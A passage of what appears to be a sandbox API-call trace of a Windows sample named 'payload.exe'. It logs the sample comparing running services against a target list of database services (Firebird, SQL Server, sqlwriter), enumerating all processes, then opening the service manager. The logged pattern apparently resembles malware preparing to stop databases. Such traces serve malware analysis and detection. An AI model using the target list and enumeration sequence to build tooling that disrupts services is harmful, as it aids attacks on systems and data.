(lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0144.131] lstrlenW (lpString="NcbService") returned 10 [0144.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0144.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0144.131] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0144.131] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0144.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0144.132] lstrlenW (lpString="netprofm") returned 8 [0144.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0144.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0144.132] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0144.132] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0144.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0144.132] lstrlenW (lpString="NgcSvc") returned 6 [0144.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0144.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0144.132] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0144.132] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0144.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0144.132] lstrlenW (lpString="NlaSvc") returned 6 [0144.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0144.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0144.132] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0144.132] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0144.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0144.132] lstrlenW (lpString="nsi") returned 3 [0144.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0144.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0144.132] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0144.132] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0144.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0144.132] lstrlenW (lpString="PcaSvc") returned 6 [0144.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0144.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0144.132] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0144.132] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0144.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0144.132] lstrlenW (lpString="PlugPlay") returned 8 [0144.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0144.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0144.132] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0144.133] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0144.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0144.133] lstrlenW (lpString="Power") returned 5 [0144.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0144.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0144.133] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0144.133] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0144.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0144.133] lstrlenW (lpString="ProfSvc") returned 7 [0144.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0144.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0144.133] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0144.133] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0144.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0144.133] lstrlenW (lpString="RpcEptMapper") returned 12 [0144.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0144.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0144.133] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0144.133] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0144.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0144.133] lstrlenW (lpString="RpcSs") returned 5 [0144.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0144.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0144.133] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0144.133] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0144.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0144.133] lstrlenW (lpString="SamSs") returned 5 [0144.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0144.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0144.133] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0144.133] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0144.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0144.133] lstrlenW (lpString="Schedule") returned 8 [0144.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0144.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0144.133] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0144.133] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0144.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0144.134] lstrlenW (lpString="SecurityHealthService") returned 21 [0144.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0144.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0144.134] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0144.134] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0144.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0144.134] lstrlenW (lpString="SENS") returned 4 [0144.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0144.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0144.134] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0144.134] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0144.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0144.134] lstrlenW (lpString="ShellHWDetection") returned 16 [0144.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0144.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0144.134] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0144.134] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0144.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0144.134] lstrlenW (lpString="Spooler") returned 7 [0144.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0144.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0144.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0144.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0144.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0144.134] lstrlenW (lpString="StateRepository") returned 15 [0144.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0144.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0144.134] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0144.134] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0144.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0144.134] lstrlenW (lpString="SysMain") returned 7 [0144.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0144.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0144.134] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0144.135] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0144.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0144.135] lstrlenW (lpString="SystemEventsBroker") returned 18 [0144.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0144.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0144.135] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0144.135] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0144.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0144.135] lstrlenW (lpString="Themes") returned 6 [0144.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0144.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0144.135] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0144.135] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0144.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0144.135] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0144.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0144.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0144.135] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0144.135] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0144.135] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52e0088 | out: hHeap=0x510000) returned 1 [0144.135] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x564 [0144.138] Process32FirstW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.257] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0144.257] lstrlenW (lpString="System") returned 6 [0144.257] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0144.258] lstrlenW (lpString="smss.exe") returned 8 [0144.258] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0144.439] lstrlenW (lpString="csrss.exe") returned 9 [0144.439] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0144.440] lstrlenW (lpString="wininit.exe") returned 11 [0144.440] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0144.441] lstrlenW (lpString="csrss.exe") returned 9 [0144.441] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0144.442] lstrlenW (lpString="winlogon.exe") returned 12 [0144.442] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0144.442] lstrlenW (lpString="services.exe") returned 12 [0144.442] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0144.443] lstrlenW (lpString="lsass.exe") returned 9 [0144.443] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.444] lstrlenW (lpString="svchost.exe") returned 11 [0144.444] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0144.444] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0144.444] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0144.445] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0144.445] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.446] lstrlenW (lpString="svchost.exe") returned 11 [0144.446] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0144.446] lstrlenW (lpString="dwm.exe") returned 7 [0144.446] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.447] lstrlenW (lpString="svchost.exe") returned 11 [0144.447] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.448] lstrlenW (lpString="svchost.exe") returned 11 [0144.448] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.448] lstrlenW (lpString="svchost.exe") returned 11 [0144.448] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.449] lstrlenW (lpString="svchost.exe") returned 11 [0144.449] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.449] lstrlenW (lpString="svchost.exe") returned 11 [0144.449] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.450] lstrlenW (lpString="svchost.exe") returned 11 [0144.450] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.451] lstrlenW (lpString="svchost.exe") returned 11 [0144.451] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.451] lstrlenW (lpString="svchost.exe") returned 11 [0144.451] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.452] lstrlenW (lpString="svchost.exe") returned 11 [0144.452] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.453] lstrlenW (lpString="svchost.exe") returned 11 [0144.453] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0144.453] lstrlenW (lpString="spoolsv.exe") returned 11 [0144.453] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.454] lstrlenW (lpString="svchost.exe") returned 11 [0144.454] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0144.454] lstrlenW (lpString="audiodg.exe") returned 11 [0144.455] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0144.455] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0144.455] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0144.456] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0144.456] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0144.456] lstrlenW (lpString="Memory Compression") returned 18 [0144.456] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0144.457] lstrlenW (lpString="sihost.exe") returned 10 [0144.457] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.458] lstrlenW (lpString="svchost.exe") returned 11 [0144.458] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0144.458] lstrlenW (lpString="taskhostw.exe") returned 13 [0144.458] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0144.459] lstrlenW (lpString="msoia.exe") returned 9 [0144.459] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0144.460] lstrlenW (lpString="explorer.exe") returned 12 [0144.460] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0144.460] lstrlenW (lpString="SearchUI.exe") returned 12 [0144.460] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0144.461] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0144.461] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0144.462] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0144.462] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0144.462] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0144.462] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0144.463] lstrlenW (lpString="payload.exe") returned 11 [0144.463] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0144.463] lstrlenW (lpString="dllhost.exe") returned 11 [0144.463] Process32NextW (in: hSnapshot=0x564, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0144.464] CloseHandle (hObject=0x564) returned 1 [0144.464] Sleep (dwMilliseconds=0x1f4) [0145.002] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x443de50 [0145.003] EnumServicesStatusExW (in: hSCManager=0x443de50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, 